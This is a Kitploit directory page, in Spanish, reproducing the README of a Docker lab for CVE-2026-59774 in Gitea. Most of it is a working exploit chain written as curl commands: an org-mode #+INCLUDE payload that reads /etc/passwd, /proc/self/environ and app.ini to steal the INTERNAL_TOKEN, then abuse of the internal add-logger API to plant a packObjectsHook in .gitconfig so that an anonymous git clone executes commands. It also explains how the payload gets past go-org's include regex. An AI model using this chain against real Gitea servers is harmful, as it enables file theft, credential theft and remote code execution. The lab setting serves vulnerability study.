Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-59774_docker — CVE-2026-59774 | Kitploit
Herramientas/GitHubGitHub/flowerwitch/cve-2026-59774_docker
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebLabs y Práctica
GitHubflowerwitch/cve-2026-59774_docker

CVE-2026-59774_docker

CVE-2026-59774

Ver Repositorio
11hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-59774_docker

1. Descargar gitea

git clone https://github.com/FlowerWitch/CVE-2026-59774_docker

cd ./CVE-2026-59774_docker

docker compose up -d

2.Inicialización

Acceder a gitea

http://localhost:3000/install

3.Crear repository

new repository es público por defecto, no se requiere otra configuración

image

4.POC

curl -X POST "http://localhost:3000/{username}/{repo}/markup" \                       
  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'
image

5. Parte RCE

  1. Primero, leyendo el campo GITEA_CUSTOM en /proc/self/environ, se obtiene la ubicación donde se almacenan los datos de gitea
curl -sX POST "http://localhost:3000/admin/poc/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep 'GITEA_CUSTOM='
image
  1. Leer {GITEA_CUSTOM}/conf/app.ini para obtener los campos INTERNAL_TOKEN y APP_DATA_PATH
curl -sX POST "http://localhost:3000/{username}/{repo_name}/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH' 
image
  1. Aquí se escribe que encontré la interfaz add-logger; cuando el Mode de dicha interfaz es File, se realiza una escritura de tipo append sobre un archivo local (si el destino no existe, se creará el directorio correspondiente); además, cuando su campo logger es router, al ejecutarse se activará un registro de log, cuyo efecto de salida es mucho mejor en comparación con default (porque no produce saltos de línea XD). Mediante la escritura arbitraria del primero, se añade al .gitconfig de gitea el campo packObjectsHook para lograr que un clone anónimo desencadene la ejecución de comandos.
curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "Logger": "router",
    "Writer": "pwnhook",
    "Mode": "file",
    "Config":{                                                             
      "filename": "{APP_DATA_PATH}/home/.gitconfig",
      "flags": "none",                                                          
      "prefix": "[uploadpack]\n        packObjectsHook = id > /tmp/pwned ;#", 
      "level": "Info",
      "rotate": false
    }
  }'
image
  1. Cerrar el manejador de logs para evitar que las solicitudes posteriores contaminen la configuración posterior; se deben usar el logger y el writer mencionados anteriormente
curl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  1. git clone activa la ejecución de comandos
image

Ejemplo

gg1

Nota

En go-org 1.9.1, la función parseInclude contiene una regla de filtrado por expresión regular includeFileRegexp; solo si coincide se puede pasar a las funciones posteriores.

func (d *Document) parseInclude(k Keyword) (int, Node) {
	resolve := func() Node {
		d.Log.Printf("Bad include %#v", k)
		return k
	}
	if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil {  # <--这里施加了 includeFileRegexp 过滤
		path, kind, lang := m[1], m[2], m[3]
		if !filepath.IsAbs(path) {
			path = filepath.Join(filepath.Dir(d.Path), path)
		}

includeFileRegexp coincide con las siguientes condiciones

var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)

Por lo tanto, un payload como "#+INCLUDE: \"/etc/passwd\"\n" no puede coincidir correctamente; la construcción debe ajustarse a la expresión, por ejemplo:

"#+INCLUDE: \"/etc/passwd\" src 123\n"
Descargar herramienta